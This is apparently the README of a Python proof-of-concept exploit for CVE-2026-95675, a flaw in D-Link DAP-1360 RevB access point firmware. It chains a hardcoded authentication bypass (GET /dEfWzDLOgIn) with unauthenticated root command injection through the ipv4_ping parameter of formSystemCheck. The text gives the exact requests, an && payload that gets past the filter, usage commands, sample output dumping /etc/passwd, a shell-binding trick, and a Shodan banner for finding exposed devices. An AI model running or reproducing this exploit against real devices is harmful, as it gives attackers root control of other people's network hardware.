
Python PoC로, D-Link DAP-1360 RevB 펌웨어의 하드코딩된 인증 우회와 formSystemCheck 핸들러를 통해 인증 없이 루트 명령 주입이 가능한 CVE-2026-95675를 익스플로잇합니다.

formSystemCheck 핸들러에서 하드코딩된 인증 백도어를 통해 도달 가능한
인증되지 않은 원격 루트 명령 실행(CWE-78 — OS 명령 주입).
DAP-1360 RevB, 펌웨어 2.14B05에서 검증됨.
두 가지 독립적인 문제가 연쇄됨:
1. 하드코딩된 인증 우회 경로. main (httpd @ 0x4064c8)에서:
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn은 404를 반환하지만(실제 파일이 아님), 부작용으로
요청한 소스 IP의 세션 슬롯을 인증된 것으로 표시함 — 사용자 이름,
비밀번호, 캡차가 필요하지 않음.
2. OS 명령 주입. formSystemCheck
(POST /apply.cgi?formSystemCheck)는 다음과 같이 셸 명령을 구성함:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping은 정제 없이 포맷 문자열에 전달됨; _system()은 vsprintf를
사용하여 고정 스택 버퍼에 넣고 system()에 전달함. 핸들러 자체는
인증 검사를 수행하지 않음.
busybox POST-body 파서는 ;, |, 백틱, 개행을 제거하지만
&&는 살아남음. 페이로드는 접두사 ping을 종료한 다음 &&로
연결해야 함, 예:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Description |
|---|---|
target | 대상 호스트/IP (기본 스킴 http://) |
command (선택 사항) | 실행할 루트 명령 (기본값: cat /etc/passwd); ;/` |
GET /dEfWzDLOgIn — 하드코딩된 인증 우회를 트리거함 (404 반환; 부작용은 서버 측에서 발생).POST /apply.cgi?formSystemCheck에 ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — 루트 명령 주입.GET /<OUT> — 명령 출력을 검색함 (httpd는 .txt가 아닌 .htm/.html을 제공함).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id가 없음 — cat, echo, ls, cp 등을 사용하세요._system()이 반환될 때까지 응답을 지연하는 것과 결합하여 sh <&5 >&5 2>&5가 라이브 연결에 셸을 연결할 수 있음 (user-mode QEMU에서는 취약함; 실제 하드웨어에서는 더 나음).Shodan("CAMEO-httpd", httpd 벤더 배너)은 이 정확한 코드베이스의 인터넷
노출 인스턴스가 소수만 있음을 보여줌; 이 장치는 주로 LAN 측 액세스
포인트임. 익스플로잇은 웹 관리 인터페이스에 대한 도달 가능성이 필요함.